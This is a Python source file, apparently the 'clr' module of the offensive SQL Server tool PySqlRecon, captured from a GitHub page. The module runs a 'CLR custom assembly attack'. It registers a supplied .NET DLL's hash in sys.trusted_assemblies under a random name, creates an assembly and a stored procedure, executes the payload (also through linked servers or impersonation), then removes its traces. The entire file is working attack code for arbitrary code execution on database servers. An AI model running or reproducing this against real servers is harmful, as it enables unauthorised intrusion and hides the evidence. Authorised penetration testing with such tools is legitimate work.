-
Notifications
You must be signed in to change notification settings - Fork 12
/
clr.py
125 lines (101 loc) · 4.2 KB
/
clr.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import typer
import string
import random
from pathlib import Path
from hashlib import sha512
from pysqlrecon.logger import logger
from pysqlrecon.lib import PySqlRecon
app = typer.Typer()
COMMAND_NAME = "clr"
HELP = "[red][PRIV][/] Load and execute a .NET assembly in a stored procedure [I,L]"
LINK_COMPATIBLE = True
IMPERSONATE_COMPATIBLE = True
@app.callback(invoke_without_command=True)
def main(
ctx: typer.Context,
dll: Path = typer.Option(None, "--dll", dir_okay=False, readable=True, help=".NET DLL to load into stored procedure"),
function: str = typer.Option(None, "--function", help="Function within .NET DLL to execute")):
pysqlrecon: PySqlRecon = ctx.obj['pysqlrecon']
# verify opts are compatible with module before connecting
if not PySqlRecon.validate_opts(
LINK_COMPATIBLE,
IMPERSONATE_COMPATIBLE,
pysqlrecon.link,
pysqlrecon.impersonate
):
exit()
pysqlrecon.connect()
# get dll bytes and SHA-512 hash
dll_bytes = dll.read_bytes().hex()
dll_hash = sha512(dll.read_bytes()).hexdigest()
dll_path = ''.join(random.choices(string.ascii_letters, k=8))
asm_name = ''.join(random.choices(string.ascii_letters, k=8))
####
# Ensure pre-requisites are met
if pysqlrecon.link is not None:
logger.info(f"Performing CLR custom assembly attack on {pysqlrecon.link} via {pysqlrecon.target}")
if not pysqlrecon.linked_check_module("clr enabled"):
logger.warning(f"CLR integration is not enabled on {pysqlrecon.link}")
pysqlrecon.disconnect()
exit()
if not pysqlrecon.check_rpc_on_link(pysqlrecon.link):
logger.warning(f"RPC needs to be enabled on {pysqlrecon.link}")
pysqlrecon.disconnect()
exit()
else:
logger.info(f"Performing CLR custom assembly attack on {pysqlrecon.target}")
if not pysqlrecon.check_module("clr enabled"):
logger.warning("CLR integration is not enabled")
pysqlrecon.disconnect()
exit()
####
# Check if DLL hash already exists in sys.trusted_assemblies
# and delete it if it does
if pysqlrecon.check_asm_hash(dll_hash):
logger.warning("Assembly hash already exists in sys.trusted_assesmblies")
logger.info("Dropping existing assembly before continuing")
pysqlrecon.delete_tasm(dll_hash)
####
# Add the DLL to sys.trusted_assemblies
pysqlrecon.add_trusted_asm(dll_path, dll_hash)
if not pysqlrecon.check_asm_hash(dll_hash):
logger.error("Failed to add trusted assembly")
pysqlrecon.disconnect()
exit()
logger.info(f"Added SHA-512 hash for '{dll.name}' to sys.trusted_assemblies with a random name of '{dll_path}'")
logger.debug(f"SHA-512 hash of DLL: {dll_hash}")
# make sure procedure and assembly names are free
pysqlrecon.delete_tasm_resources(asm_name, function)
logger.info(f"Creating a new custom assembly with the name '{asm_name}'")
#####
# Create the custom assembly
pysqlrecon.create_asm(asm_name, dll_bytes)
if not pysqlrecon.check_assembly(asm_name):
logger.error("Failed to create custom assembly")
logger.info("Cleaning up...")
pysqlrecon.delete_tasm(dll_hash)
pysqlrecon.delete_tasm_resources(asm_name, function)
pysqlrecon.disconnect()
exit()
####
# Create the stored procedure
logger.info(f"Loading DLL into stored procedure '{function}'")
pysqlrecon.create_asm_sp(asm_name, function)
if not pysqlrecon.check_asm_sp(function):
logger.warning("Unable to load DLL into custom stored procedure")
logger.info("Cleaning up...")
pysqlrecon.delete_tasm(dll_hash)
pysqlrecon.delete_tasm_resources(asm_name, function)
pysqlrecon.disconnect()
exit()
logger.info(f"Created '[{asm_name}].[StoredProcedures].[{function}]'")
####
# Execute the stored procedure/assemby
logger.info("Executing payload...")
pysqlrecon.exec_asm_sp(f"{function}")
####
# Cleanup!
logger.info("Cleaning up...")
pysqlrecon.delete_tasm(dll_hash)
pysqlrecon.delete_tasm_resources(asm_name, function)
pysqlrecon.disconnect()